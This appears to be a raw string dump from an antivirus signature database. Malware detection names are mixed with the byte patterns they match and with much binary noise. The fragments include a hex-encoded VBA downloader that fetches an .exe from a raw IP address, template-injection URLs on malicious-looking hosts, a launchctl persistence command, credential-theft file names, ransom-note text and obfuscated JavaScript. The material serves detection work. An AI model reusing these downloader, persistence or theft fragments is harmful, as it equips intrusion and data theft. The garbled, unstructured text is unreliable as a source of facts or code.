Virus:WM/Eraser.E Virus:WM/Imposter.B Virus:WM/Look.A Virus:WM/Olympic.A Virus:WM/Weather.A Virus:WM/Minimal.G Virus:WM/Minimal.H Virus:WM/Balu.A1 Virus:WM/Mercy.B Virus:WM/CVCK_Chicken.A  ^ag] Virus:WM/NJ_WMDLK.F Virus:WM/Olympic.B Virus:WM/Rapi.B Virus:WM/Reflex.A Virus:WM/Talon.A Virus:WM/Twno.C Virus:WM/Talon.B Virus:WM/Talon.C Virus:WM/Talon.D Virus:WM/Talon.F Virus:WM/Talon.G Virus:WM/Helper.C Virus:WM/Helper.D Virus:WM/Helper.E Virus:WM/Darkside.C Virus:WM/Wazzu.AN Virus:WM/Wazzu.J Virus:WM/Wazzu.CF Virus:WM/Andry.A Virus:WM/Atom.J Virus:WM/Darkside.D Virus:WM/Dzt.A |@%C Virus:WM/Eraser.M Virus:WM/Hunter.A Virus:WM/Talon.E 54v|YkH Virus:WM/TwoLines.A1 XZ1k] Virus:WM/Talon.H Virus:WM/Swlabs23 Virus:WM/Wazzu.CG Virus:WM/Lazy.A Virus:WM/Eraser.H Virus:WM/Darkside.B Virus:WM/Eraser.F ;#hIBR Virus:WM/Helper.I Virus:WM/Minimal.D Virus:WM/Mota.A Virus:WM/Simple.A.intd Virus:WM/Swlabs.A Virus:WM/Armadillo.A Virus:WM/Terror.A.intd JU-c launchctl load -w  @/library/launchagents/com.adobe.macromedia.flash.plist -c chmod +x  @/.flashupdatecheck JU-c chmod +x  Exploit:O97M/CVE-2017-8570.PP!MTB !Exploit:O97M/CVE-2017-8570.PP!MTB VirTool:PowerShell/PsObfus.gen!B \" VirTool:PowerShell/PsObfus.gen!B SLF:PowerShell/Empire!obfus&SCRIPT:Empire.Xor&SCRIPT:InvokeObfus&(Lua:CMDExt|Lua:BATExt) \\XSLF:PowerShell/Empire!obfus&SCRIPT:Empire.Xor&SCRIPT:InvokeObfus&(Lua:CMDExt|Lua:BATExt) SLF:PowerShell/Empire!obfus&SCRIPT:Empire.Xor&SCRIPT:InvokeObfus&MpIsPowerShellAMSIScan&(Lua:IsEnterprise|IsSeville)] xtSLF:PowerShell/Empire!obfus&SCRIPT:Empire.Xor&SCRIPT:InvokeObfus&MpIsPowerShellAMSIScan&(Lua:IsEnterprise|IsSeville)] Exploit:O97M/CVE-2017-8570.AV!MTB !Exploit:O97M/CVE-2017-8570.AV!MTB TrojanDownloader:O97M/Donoff.MXSS!MTB %TrojanDownloader:O97M/Donoff.MXSS!MTB Application.ScreenUpdating = False (\"4d6963726f736f\") &  (\"66742e584d4c48545450\")) (\"41646f64622e53747265\") &  (\"616d\")) (\"474554\"),  (\"687474703a2f2f33372e3539\") &  (\"2e3136302e3134372f76657273696f6e5f342e657865\"), False = Environ(\"AppData\") (\"5c31\") &  (\"333069676a74342e657865\")) Chr$(Val(\"&H\" & Mid$( write  .responseBody savetofile  (\"5c31333069676a74342e65\") &  (\"7865\"), 2 TrojanDropper:AndroidOS/Wroba.A!MTB %#TrojanDropper:AndroidOS/Wroba.A!MTB E:?d Exploit:O97M/CVE-2017-11882.MXRR!MTB $Exploit:O97M/CVE-2017-11882.MXRR!MTB Exploit:O97M/CVE-2017-11882.MXRI!MTB $Exploit:O97M/CVE-2017-11882.MXRI!MTB Exploit:O97M/CVE-2017-11882.MXRL!MTB $Exploit:O97M/CVE-2017-11882.MXRL!MTB Exploit:O97M/CVE-2017-11882.MXRO!MTB $Exploit:O97M/CVE-2017-11882.MXRO!MTB Stelega.DF!MTB $542cab06-bc48-4594-9fb8-3926ed31a294 $06eee637-d14e-4d4e-b3d5-18f38a1d521a Audio_Realtek_Drive.Resources.resources Gamer_Clock.My.Resources Stelega.DG!MTB $818d92f8-ca83-4992-99c7-efc78e65f909 PixelSorter.Properties.Resources cookie_list.txt outlook.txt passwords.txt history_Mozilla Firefox history_Mozilla Firefox] TrojanDownloader:O97M/EncDoc.PVAK!MTB %TrojanDownloader:O97M/EncDoc.PVAK!MTB TrojanDownloader:O97M/EncDoc.DOFT!MTB %TrojanDownloader:O97M/EncDoc.DOFT!MTB Behavior:Linux/SuspiciousHijackLinkerPaths.A .,Behavior:Linux/SuspiciousHijackLinkerPaths.A  /usr/bin/python /bin/yum /bin/dnf  @ /etc/ld.so.conf Behavior:Linux/SuspiciousHijackLinkerPaths.B .,Behavior:Linux/SuspiciousHijackLinkerPaths.B Chopper.B!dha AgentTesla.OXCK!MTB AgentTesla.OXCL!MTB Behavior:MSIL/SnakeKeylogger.A!MTB .\"Behavior:MSIL/SnakeKeylogger.A!MTB SnakeKeylogger.MK!sms 4\"SxY 4\"SxY{] Behavior:Linux/HiddenCronJob.A Behavior:Linux/HiddenCronJob.B AObfuse.NX!MTB Backdoor:Win64/CobaltStrikeLoader.H!dha 'Backdoor:Win64/CobaltStrikeLoader.H!dha Exploit:O97M/CVE-2017-0199.RVQ!MTB \"Exploit:O97M/CVE-2017-0199.RVQ!MTB target=\"http://raggina.space/bc855646d052/spool/boot/acxbbz.dot\"targetmode=\"external\" Wtarget=\"http://raggina.space/bc855646d052/spool/boot/acxbbz.dot\"targetmode=\"external\" target=\"http://zxtenrnewlaunchinworldwide.mangospot.net/.-...........................................................................................................-/s.dot\"targetmode=\"external\" Behavior:Win32/SuspExchgSession.E .!Behavior:Win32/SuspExchgSession.E \\microsoft\\exchange server\\v \\frontend\\ \\clientaccess\\ \\frontend\\httpproxy\\owa\\ \\inetpub\\wwwroot\\ Backdoor:Win64/CobaltStrike.V!dha !Backdoor:Win64/CobaltStrike.V!dha Trojan:HTML/Phish.GRV!MTB AObfuse.NW!MTB TrojanDownloader:O97M/IcedID.RVQ!MTB $TrojanDownloader:O97M/IcedID.RVQ!MTB CreateObject(\"wscript.shell\").RegWrite listConst, 1, \"REG_DWORD\" length = Len( )  For i = 0 To length - 1 reversedText & Mid( , (length - i), 1) = GetObject(\"\", \"word.application\") = \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\\" & Application.Version & \"\\Word\\Security\\AccessVBOM\" .Quit SaveChanges:=wdDoNotSaveChanges valueEx(countTitle, 8 / 4, 1500000)  ActiveDocument.Range.Text  TrojanDownloader:O97M/IcedID.RVR!MTB $TrojanDownloader:O97M/IcedID.RVR!MTB Behavior:Win32/EngSystemTokenElevated.A .'Behavior:Win32/EngSystemTokenElevated.A Behavior:Win32/ChromeChildElevated.A!dha .(Behavior:Win32/ChromeChildElevated.A!dha Low:UI+RemediateProcess+Telemetry+ProcessMetaStore+MonitorProcTreeEop+ParentInfo 33QLow:UI+RemediateProcess+Telemetry+ProcessMetaStore+MonitorProcTreeEop+ParentInfo Behavior:Win32/MZPEMemoryArtifacts.E .$Behavior:Win32/MZPEMemoryArtifacts.E !DelfInject.PNM!MTB Backdoor:Win64/Sntukore.A!dha Trojan:AndroidOS/Talklog.A!MTB Behavior:Win32/RyukCreateScheduledTask.C .(Behavior:Win32/RyukCreateScheduledTask.C Behavior:Win32/RyukCreateScheduledTask.D .(Behavior:Win32/RyukCreateScheduledTask.D Low:Telemetry+FileMetaStore+ProcessMetaStore+FullThreadScan+MonitorProcTreeEop+EmsScan+ParentInfo 33bLow:Telemetry+FileMetaStore+ProcessMetaStore+FullThreadScan+MonitorProcTreeEop+EmsScan+ParentInfo Behavior:Win32/Ryuk.X mransom:win32/ryukschtasks.zz Behavior:Win32/Ryuk.ZZ Behavior:Win32/Ryuk.ZY Behavior:Win32/Ryuk.ZX Behavior:Win32/Ryuk.ZW Ransom:Win32/Ryuk.ZZ!sms Ransom:Win32/Ryuk.A!!Ryuk.A Ransom:Win32/Ryuk.B!!Ryuk.B Ransom:Win32/Ryuk.C!!Ryuk.C Ransom:Win32/Ryuk.D!!Ryuk.D Backdoor:Win64/Sntukore.B!dha Backdoor:Win64/Sntukore.C!dha Backdoor:Win64/Sntukore.D!dha Backdoor:Win64/Sntukore.E!dha Backdoor:Win64/Sntukore.F!dha Backdoor:Win64/Sntukore.G!dha TrojanDownloader:O97M/Tnega!MSR Backdoor:Win64/Sntukore.H!dha Backdoor:Win64/Sntukore.I!dha Backdoor:Win64/Sntukore.J!dha Gafgyt.E keksec.was.here you have been infected by knownBots /x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A TrojanDownloader:O97M/EncDoc.IDIE!MTB %TrojanDownloader:O97M/EncDoc.IDIE!MTB Ransom:MSIL/Cryptolocker.DN!MTB SAYGOODBYE.exe2 ShellLocker2 ___RECOVER__FILES__.heart.txt YOUR FILES HAVE BEEN  ENCRYPTED .kanmani \\Heartbeat\\keys.json EncryptFiles encryptFile Encrypted Files Count: Black Cat crypt15 BTC address: BTC address:] !Glupteba.PO!MTB 8<7{jF  !Dridex.OR!MTB TrojanDropper:O97M/Hancitor.KAI!MTB %#TrojanDropper:O97M/Hancitor.KAI!MTB TrojanDropper:O97M/Hancitor.KAJ!MTB %#TrojanDropper:O97M/Hancitor.KAJ!MTB TrojanDownloader:O97M/EncDoc.AJSR!MTB %TrojanDownloader:O97M/EncDoc.AJSR!MTB AgentTesla.OXCN!MTB TrojanDownloader:O97M/EncDoc.PVAM!MTB %TrojanDownloader:O97M/EncDoc.PVAM!MTB AChopper!dha TrojanDownloader:O97M/Gozi.ANNS!MTB #TrojanDownloader:O97M/Gozi.ANNS!MTB = \"explorer c:\\users\\public\\ %.hta\" .exec tg = Split(frm.tg, \" \") <html><body><div id='content'>fTtl = CreateObject(\"wscript.shell\") = CreateObject(\"wscript.shell\")] AgentTesla.OG!MTB FileZillaProject.frmMain.resources FileZillaProject.frmDeckViewer.resources veluwevakantie Timer0 GetType] !Azorult.NP!MTB AgentTesla.OXCO!MTB TrojanDownloader:O97M/Gozi.ANTL!MTB #TrojanDownloader:O97M/Gozi.ANTL!MTB Ransom:PowerShell/BeBack SCPT:Ransom:PowerShell/BeBack1&SCPT:Ransom:PowerShell/BeBack2&SCPT:Ransom:PowerShell/BeBack3&SCPT:Ransom:PowerShell/BeBack4] {SCPT:Ransom:PowerShell/BeBack1&SCPT:Ransom:PowerShell/BeBack2&SCPT:Ransom:PowerShell/BeBack3&SCPT:Ransom:PowerShell/BeBack4] TrojanDownloader:O97M/EncDoc.VIOK!MTB %TrojanDownloader:O97M/EncDoc.VIOK!MTB !Obfuse.HBS!MTB !Obfuse.HBT!MTB Trojan:HTML/Phish.HRV!MTB Exploit:O97M/CVE-2017-11882.HKZ!MTB #Exploit:O97M/CVE-2017-11882.HKZ!MTB Trojan:HTML/Phish.RCV!MTB AgentTesla.PT!MTB  Pa1~g Behavior:Win32/ContiNote.A Behavior:Win32/ContiNote.B AgentTesla.PV!MTB b/9ul 6ai#ly  ):_g >v00Y >v00Y: AgentTesla.PW!MTB &#wL\t nS}Zu [z~F/ eyboardHookDelegate antiSandboxie \\Kreylogger Source\\gmail Keylogger\\My Keylogger\\ \\Kreylogger Source\\gmail Keylogger\\My Keylogger\\] !Vbinder.BT !Vasilba.A !Nedsym.F Responce Blank /stat2.php \\system32\\qtplugin.exe &macroses_version= &deliveredpercent= GLOBAL_RANDOMIZED_BODY Control Thread....No Jobs Loaded, Sleeping 300 seconds.... Calculating Delivered Percent.... !Bamital.F aRootkitdrv.OC !Phexy.A !Twores.L SizeofResource] !Wimpixo.B !Pidief.AU !Delf.VB !Hepae.A !VB.WT !Delf.EB !Iroffer !Bancos.TB !Genome.H !VB.JX D:\\\\.+\\\\.+fcx\\\\.+1.vbp !Poison.AO !Goodwin.A dimvbssdimdvbsvbss=\"po!fssps!sftvnf!ofyupo!fssps!sftvnf!ofyuejn!dpef-xjo-ejtl-ttu Sdimvbssdimdvbsvbss=\"po!fssps!sftvnf!ofyupo!fssps!sftvnf!ofyuejn!dpef-xjo-ejtl-ttu !CeeInject.gen!BG !Rimecud.DN !Hacopa.A !Banload.MT !VBInject.EF 4D5A900  !OnLineGames.ZFK %s?action=postmb&u=%s&mb=%s %s?action=postmb&u=%s&mb=%s] !OnLineGames.GZ )HlMain.dll MyDllRun XieZaiDLL )HlMain.dllMyDllRunServiceMainXieZaiDLL www.xiaohua.kr:8001 NetBot Attacker NetBot Attackera SYSTEM32\\hf0021.dll sethooke = %08x SetHook sethooke = %08xSetHook <%s%s?dfu=%s&dfp=%s&dfp2=%s&dfn=%s SELECT SERVER .\\DNF.cfg <%s%s?dfu=%s&dfp=%s&dfp2=%s&dfn=%sSELECT SERVER.\\DNF.cfg loginname=df &strPassword= loginname=df&strPassword= !Pdfjsc.EN !Bancos.TC !Besto.A \" f 7 Ransom:Win32/Genasom.AB !Lolyda.AY mibao.php?action=put&u=%s ?s=%s&u=%s& !VBInject.gen!DE !VBInject.gen!DF !Banker.PW -;>0] !VB.WU .Pot_Drone By Pot_Knight !VBInject.EG #.txt __vbaLateMemCall VBA6.DLL WhiteCoatVBA6.DLL] ARedirector.CN !Pdfjsc.EO !Bancos.TD !Bancos.DF !AolxyBot.A !VB.WO 6X\\d-l !Pdfjsc.EP Nimeaas.A !Nosrawec.A t>jhA !Rimecud.DO !VBInject.EH !VBInject.EI !VBInject.EJ !VBInject.EK 2Crypt3r\\demonio666vip.vbp clsTwofish EncryptByte \"Indetectables.net] !VBInject.EL !Zbot.SD !Rimecud.DP !Rimecud.DQ !DelfInject.K !Bancopac \\+http://ns1.natalnosso.info:8082/windows.pac 'user_pref(\"network.proxy.autoconfig_url 'user_pref(\"network.proxy.autoconfig_url] !MultiDropper.AO n\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects .regsvr32 /s shdocwv.dll Brasil] HatiHati.A aI[=b !VB.CI !Pdfjsc.EQ %pdf-1.010obj<</type/catalog/pages20r/names30r>>endobj20obj<</type/pages/count1/kids[40r]>>endobj30obj<</javascript50r>>endobj40obj<</type/page/parent20r/contents120r>>endobj50obj<</names[(1)60r(2)70r(3)80r]>>endobj60obj<</js r/s/javascript>>endobj70obj<</js r/s/javascript>>endobj80obj<</js r/s/javascript>>endobj obj<</filter/flatedecode/length !Delf.BT ---/$$/POST_URL= ---/$$/POST_URL=] !Gael.A Q3@$c[ !OnLineGames.HB E:\\\\.+\\\\2010\\\\baidu.vbp !Delf.IY http://www.bobozim.hpg.com.br/nohot.jpg avatar.jpg satplg.jpg satplg.jpg] !Delf.IZ !Bancos.TE !Delf.JA !Autorun.QF!inf !Nuqel.AT!inf ADursg.D !VBInject.EM !Rimecud.DR !Rimecud.A ~M[>v !Ghodow.A 5t\tAB unionid=%s&mac=%s&iever=%d&alexa=%d&systemver=%d&antisoftware=%s&pluginver=%s /count.aspx?i= %s/NewConfig.aspx?m= SOFTWARE\\Classes\\CLSID\\{3CEFF6CD-6F08-4e4d-BCCD-FF7415288C3B} SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector QQSelf%d.exe !Autorun.WQ ADursg.E ADursg.F !Dursg.E &se.php?pop=1&aid=%s $request.php?aid=%s !Omexo.C SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command ASOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command \\\\?\\globalroot\\systemroot\\system32\\drivers\\etc\\hosts 4\\\\?\\globalroot\\systemroot\\system32\\drivers\\etc\\hosts \\\\.\\PhysicalDrive%d Software\\Microsoft\\Internet Explorer\\TypedURLs .Software\\Microsoft\\Internet Explorer\\TypedURLs :Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2 PK11_CheckUserPassword  cookiesie.z cookies.z \tcookies.z keylog.z certs.z sysinfo.z \tsysinfo.z iexplore.exe|opera.exe|firefox.exe \"iexplore.exe|opera.exe|firefox.exe src='http://%s/jbinfo.cgi?%s:%d'> !src='http://%s/jbinfo.cgi?%s:%d'> Global\\{721E3A61-883B-4144-BA81-1F965879E5C9} -Global\\{721E3A61-883B-4144-BA81-1F965879E5C9} AUTHINFO PASS  stealit pass_log sniff_log \tsniff_log] !VBInject.gen!DT !ShellCode.W <scriptlanguage=\"javascript\"> ?<scriptlanguage=\"javascript\"> heapspraytoaddress payload= !Prolaco.N !Namsys.A aClassloader.S aClassloader.T aClassloader.U 6ZSgowx@ aClassloader.V aClassloader.W aClassloader.X aClassloader.Y aClassloader.Z aClassloader.AA Trojan:HTML/Redirector.O <appletcode=\" {<appletcode=\"  .appletx.class\"archive=\" #.jar\" @><paramname=\"data\"value=\" D\"><paramname=\" 12\"></applet> !Pidief.gen!B !Swisyn.E wmagents.exe passes.xm /gt.php *internet explorer* keylog.txt paslist.txt paslist.txt] !VBInject.EN !VBInject.EO !Pdfjsc.ER aCutwail.A !Cutwail.AW \\System32\\svchost.exe MaxUserPort 2SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters &proxy1.ru:8080;proxy1.ru:80;proxy3.ru; &proxy1.ru:8080;proxy1.ru:80;proxy3.ru;] xNThist !Pdfjsc.ES !Pdfjsc.ET !Pdfjsc.EU !Pdfjsc.EV !Pdfjsc.EW >4< ] !Shark.B !VB.WP C:\\\\.*A.*\\\\B\\\\Base.vbp AQakbot.B 1Fopper !Pdfjsc.EX AMult.CR !Rimecud.DS !CeeInject.gen!BH dbghelp.dll SbieDll.dll dbghelp.dllSbieDll.dll !Rimecud.DT  G>D9] !VBInject.EP !VBInject.gen!DU !Dofriv.A !Rimecud.DU Ghodow.A !Ghodow.B \\\\.\\Physicaldrive0 unionid=%s&mac=%s&iever=1&alexa=0&systemver=2&antisoftware=0&pluginver=%s %s/count.aspx?i= %s/count.aspx?i=] !Zbot.gen!Y !Zbot.gen!YO@ C:\\Users\\ZEUS\\Desktop\\Zeus Source Code 2\\source\\client\\ 7C:\\Users\\ZEUS\\Desktop\\Zeus Source Code 2\\source\\client\\~ 2.@}# W(X_$ 5Swisyn.E drivers.log [Del] {Sil} {Arrow_Up} {Arrow_Up}]   !#PEPCODE:Trojan:Win32/Skintrim!attr1  SizeOfInitializedData  137783c66195c HSTR:VirTool:Win32/Obfuscator.PN!k7.A0 'HSTR:VirTool:Win32/Obfuscator.PN!k7.A0 HSTR:VirTool:Win32/Obfuscator.PN!upk.1 'HSTR:VirTool:Win32/Obfuscator.PN!upk.1 HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4242 .HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4242 #HSTR:VirTool:Win32/Obfuscator.PN.4 HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4343 .HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4343 HSTR:VirTool:Win32/Obfuscator.PN!k7.1E 'HSTR:VirTool:Win32/Obfuscator.PN!k7.1E HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4444 .HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4444 HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4545 .HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_4545 !#SLF:Lua:ContextualGamDll4  ^{?[%w%p]+}?%.{%w%w%w%w%w%w%w%w%-%w%w%w%w%-%w%w%w%w%-%w%w%w%w%-%w%w%w%w%w%w%w%w%w%w%w%w}$ Z^{?[%w%p]+}?%.{%w%w%w%w%w%w%w%w%-%w%w%w%w%-%w%w%w%w%-%w%w%w%w%-%w%w%w%w%w%w%w%w%w%w%w%w}$ ^%p%p%p+%.%d$ FileDescriptionWindows serwvdrv Library InternalNameserwvdrv OriginalFilenameserwvdrvj%   $ .text'  `.rsrc8 \"@@.reloc* RSDSKKg jsproxy.pdb jsproxy.pdbh, Cmm:^ 9zd;]J K-AVj n#'dQ l#&MD +\tY|U 67#JU _Ek\"s @dn9B/ pba6q v]|i\\ Kzs=v( F0.T) oft\tD$h'C$ IDTXq G?(t|o c0gZA d7Wt9 9NRRay& vjFnBW 8cIBE h629& hi`O}C -=\"m` S\\;pn( h,PD2 N`w+0 ioeGql ?ecvt  xYA* OI=t>0 ECX_]@ <hP Sz |DX z Jt>/Gt rZTxj e`#1l N}d$O 2i<V7 2=>-p Ne)?X e!O\tS) qF ZP kJ\\7C xx<u[p cator.Capslock.stream.A .sTreAm \t.sTreAm .sTreaM \t.sTreaM .sTream \t.sTream .stREAM \t.stREAM .stREAm \t.stREAm .stREaM \t.stREaM .stREam \t.stREam .stReAM \t.stReAM .stReAm \t.stReAm .stReaM \t.stReaM .stReam \t.stReam .strEAM \t.strEAM .strEAm \t.strEAm .strEaM \t.strEaM .strEam \t.strEam .streAM \t.streAM .streAm \t.streAm .streaM \t.streaM :&!#SCPT:JS/Obfuscator.Split.WriteLine.A 'riteLi \t'riteLi iteLi'; \titeLi'; teLin'; \tteLin'; '!#SCPT:JS/Obfuscator.Capslock.Appdata.A :'!#SCPT:JS/Obfuscator.Capslock.Appdata.A PDATa% PDAtA% PDAta% PDaTA% PDaTa% PDatA% PData% PdATA% PdATa% PdAtA% PdAta% PdaTA% PdaTa% PdatA% pDATA% (!#SCPT:JS/Obfuscator.functions.asindex.D :(!#SCPT:JS/Obfuscator.functions.asindex.D ]](); !#SCPT:s_codescript.B =new Function(\" !#SCPT:JS/BinaryDataToFile.A .BinaryDataToFile( \",'WS' `,'cri \",'WSc' `,'ri \"WScr\"+\"i 22ADOD 22EMP 25TEM  flash. em.Security !#SCPT:JS/Obfuscator.Hex.var.A \\x76\\x61\\x72\\x20 \".concat(\"val\"); echo PowerShell \"\\x63\\x68ar \"\\x63h\\x61r \"\\x63ha\\x72 \"c\\x68\\x61r \"c\\x68a\\x72 \"ch\\x61\\x72 !#SCPT:JS/Obfuscator.HexMixed.J %5B%22Run%22%5D 105,120,112,109 107,122,114,111 216,201,193,220 255,233,226,232  !#Lowfi:SCPT:Java/AllatoryDemo.A ; !#Lowfi:SCPT:Java/AllatoryDemo.A  ALLATORI_DEMO  !#SCPT:Extrac32RelativePathAbuse ; !#SCPT:Extrac32RelativePathAbuse  !#SCPT:JS/HexString.Assignment.B ; !#SCPT:JS/HexString.Assignment.B ;!!#SCPT:JS/Obfuscator.Redundancy.A []).charAt(!+ ;!!#SCPT:JS/Obfuscator.Redundancy.B =this['' + (' !!#SCPT:JS/Obfuscator.Redundancy.M ;!!#SCPT:JS/Obfuscator.Redundancy.M & 0 *  * 0 &  * 0 *  * 0 +  * 0 -  * 0 /  * 0 ^  * 0 |  + 0 *  - 0 *  / 0 *  ^ 0 *  | 0 *  !!#SCPT:JS/Obfuscator.Redundancy.T ;!!#SCPT:JS/Obfuscator.Redundancy.T + (0); + (1); + (2); + (3); ;\"!#SCRIPT:Java/AdwindOddClassName.D /RunPE.class \"!#SCRIPT:SpcIndirectDataContentOid ;\"!#SCRIPT:SpcIndirectDataContentOid #!#SCPT:JS/Obfuscator.BASE64.close.A ;#!#SCPT:JS/Obfuscator.BASE64.close.A \"Y2xvc2U=\".  ;$!#SCPT:JS/Obfuscator.Split.ComSpec.A + 'OMSPEC% = '%COMS'; = 'OMSPEC% ='%COMSP'; ;$!#SCPT:JS/Obfuscator.Split.getYear.A getYea\"+\"r ;$!#SCPT:JS/Obfuscator.Split.replace.A r\"+\"eplace re\"+\"place rep\"+\"lace repl\"+\"ace repla\"+\"ce replac\"+\"e $!#SCPT:JS/Obfuscator.Split.reverse.A ;$!#SCPT:JS/Obfuscator.Split.reverse.A r\"+\"everse re\"+\"verse rev\"+\"erse reve\"+\"rse rever\"+\"se revers\"+\"e &!#SCPT:JS/Obfuscator.Enc.Subbyte.com.A ;&!#SCPT:JS/Obfuscator.Enc.Subbyte.com.A CEEHETER  CFEIEUES  CGEJEVET  CHEKEWEU  CIELEXEV  CJEMEYEW  CKENFAEX  CLEOFBEY  CMEPFCFA  CNEQFDFB  COERFEFC  CPESFFFD  CQETFGFE  CREUFHFF  CSEVFIFG  CTEWFJFH  CUEXFKFI  CVEYFLFJ  CWFAFMFK  CXFBFNFL  CYFCFOFM  DAFDFPFN  DBFEFQFO  DCFFFRFP  DDFGFSFQ  DEFHFTFR  DFFIFUFS  DGFJFVFT  DHFKFWFU  DIFLFXFV  &!#SCPT:JS/Obfuscator.Enc.Subbyte.exe.A ;&!#SCPT:JS/Obfuscator.Enc.Subbyte.exe.A FMHRILHR  FNHSIMHS  FOHTINHT  FPHUIOHU  FQHVIPHV  FRHWIQHW  FSHXIRHX  FTHYISHY  FUIAITIA  FVIBIUIB  FWICIVIC  FXIDIWID  FYIEIXIE  GAIFIYIF  GBIGJAIG  GCIHJBIH  GDIIJCII  GEIJJDIJ  GFIKJEIK  GGILJFIL  GHIMJGIM  GIINJHIN  GJIOJIIO  GKIPJJIP  GLIQJKIQ  GMIRJLIR  GNISJMIS  GOITJNIT  GPIUJOIU  GQIVJPIV  GRIWJQIW  GSIXJRIX  &!#SCPT:JS/Obfuscator.HexMixed.return.A ;&!#SCPT:JS/Obfuscator.HexMixed.return.A \\x72etur  r\\x65tur  re\\x74ur  ret\\x75r  &!#SCPT:JS/Obfuscator.OctMixed.return.A ;&!#SCPT:JS/Obfuscator.OctMixed.return.A \\162etur  r\\145tur  re\\164ur  ret\\165r  '!#SCPT:JS/Obfuscator.Capslock.WScript.A ;'!#SCPT:JS/Obfuscator.Capslock.WScript.A t.SHELl \tt.SHELl t.SHElL \tt.SHElL t.SHEll \tt.SHEll t.SHeLL \tt.SHeLL t.SHeLl \tt.SHeLl t.SHelL \tt.SHelL t.SHell \tt.SHell t.ShELL \tt.ShELL t.ShELl \tt.ShELl t.ShElL \tt.ShElL t.ShEll \tt.ShEll t.SheLL \tt.SheLL t.SheLl \tt.SheLl t.ShelL \tt.ShelL t.sheLL \tt.sheLL ;(!#SCPT:JS/Obfuscator.BASE64EncScript.001 ('dmFy (!#SCPT:JS/Obfuscator.Redundancy.Spaces.B ;(!#SCPT:JS/Obfuscator.Redundancy.Spaces.B 1) ; 2) ; 3) ; 4) ; 5) ; 6) ; 7) ; 8) ; 9) ; (!#SCPT:JS/Obfuscator.functions.asindex.B ;(!#SCPT:JS/Obfuscator.functions.asindex.B ()](); ;(!#SCPT:JS/Obfuscator.functions.asindex.D ])](); !#SCPT:BelmontHB ERROR: Cannot set windows hook. !ERROR: Cannot set windows hook. 22WScr 22ADODB = 'h' +   'ttp:/ = 'ht' +   'tp:/ = 'htt' +   'p:/ = 'http' +  adByt addCh tList !#SCPT:SWF/Obfuscator.Split.Q entLis ['\\u006F\\u0070en ['\\u006Fp\\u0065n ['\\u006Fpe\\u006E ['o\\u0070\\u0065n ['o\\u0070e\\u006E ['\\u0073\\u0065nd ['\\u0073e\\u006Ed ['\\u0073en\\u0064 ['s\\u0065\\u006Ed ['s\\u0065n\\u0064 ['se\\u006E\\u0064 , \"WScri\\x69\\x70 , \"WScri\\x70\\x74 , \"W\\u0053\\u0063 , \"W\\x53\\x63\\x72 , \"\\u0057S\\u0063 , \"\\u0057\\u0053c [(\"W\\u0053\\u0063 [(\"\\u0057S\\u0063 [(\"\\u0057\\u0053c \"c\"+\"\\x68\"+\"arAt \"c\\x68\\x61rA \"c\\x68a\\x72A \"c\\x68ar\\x41 \"ch\"+\"\\x61\"+\"rAt \"ch\\x61\\x72A \"ch\\x61r\\x41 \"cha\"+\"\\x72\"+\"At \"cha\\x72\\x41 \"char\"+\"\\x41\"+\"t  !#Exploit:Win32/CVE-2015-0097.A2 < !#Exploit:Win32/CVE-2015-0097.A2 ADODB.Recordset  !#SCPT:JS/HexString.Assignment.A < !#SCPT:JS/HexString.Assignment.A = '\\x  !#SCPT:JS/Obfuscator.Split.php.A < !#SCPT:JS/Obfuscator.Split.php.A '.'+'p'+'h'+'p' < !#SCPT:VirTool:SWF/Obfuscator.K0 IlllIl1 11I1l  !#TrojanDownloader:VBS/Vibrio.P3 < !#TrojanDownloader:VBS/Vibrio.P3 |llehs.tpircsW| <!!#SCPT:JS/Obfuscator.Redundancy.N switch (false) <$!#SCPT:JS/Obfuscator.Split.ComSpec.A = '%COMSP';  = 'EC%  <$!#SCPT:VBS/Obfuscator.bin.base64.001 .ba\",\"se64\"  <%!#//SCPT:JS/Obfuscator.HexMixed.var.A \\x76\\x61r  \\x76a\\x72  \\x76ar\\x20 v\\x61r\\x20 =kiri1;window.onbeforeunload=asdf;if(navigator.useragent.indexof(\"f +\"x\")!=-1){alert(qw id('text2') /g,''); @if(navigator.useragent.indexof(\"firefox\")!=-1){alert( window.resizeto(0 );window.moveto(width1  ,height1 +-123456789); result_text=l22.replace(/lol_lol/g,'')+l33.replace(/lol_lol/g,'');functionbirka(){returnaskerr==1?result_text:false;}window.onbeforeunload=birka;functionlopiufd(){alert(result_text);}lopiufd();functionpromkastofuck(){varelemname=\"iframe\";elemname+=\"\";vars=document.createelement(elemname);s.src=\"?c= se{}var +'r';var +'m';var +'k';var +'.';var +'l';var +'.';return !Koobface.gen!O ?action=bitly ?action=bitly] !Koobface.gen!P ?action=plgen ?action=plgen] !Agent.AAG aaaaaaaaaaaaaaaaaaaaaa.limewebs.com/z/gate.php .aaaaaaaaaaaaaaaaaaaaaa.limewebs.com/z/gate.php !Small.QP !Karagany.A h|brxwkjs* enbpuoatp<m`>rq z}?iuo{u?bf |w!s~ !Koobface.E MonitoringTool:Win32/ShadowKeylogger $MonitoringTool:Win32/ShadowKeylogger \\Password for stopping the keylogging proccess. 6Enable Screenshot Capturing Shadow_Keylogger.Resources Shadow_Keylogger.Resources] !Bagle.ACE !Ldpinch.UU !Koobface.Q !Koobface.gen!G %s?action=ppgen&a=%d&v=%s&pid=%s&cnt=%d %s?action=md5gen&url=%s&reqhash=%s&reshash=%s&v=01 %s?v=1&action=passgen&l=%s&p=%s %s?action=banurlgen&v=%s&ban_url=%s %s\\zpskon_%d.exe feedwall_with_composer /roadblock/] !Pushbot.TT !Neeris.BE !Alureon.E ExecPri.dll ExecWait ExecPri.dllhighExecWait inetc.dll inetc.dll/end /crl.exe /isass.exe /sdd32.exe 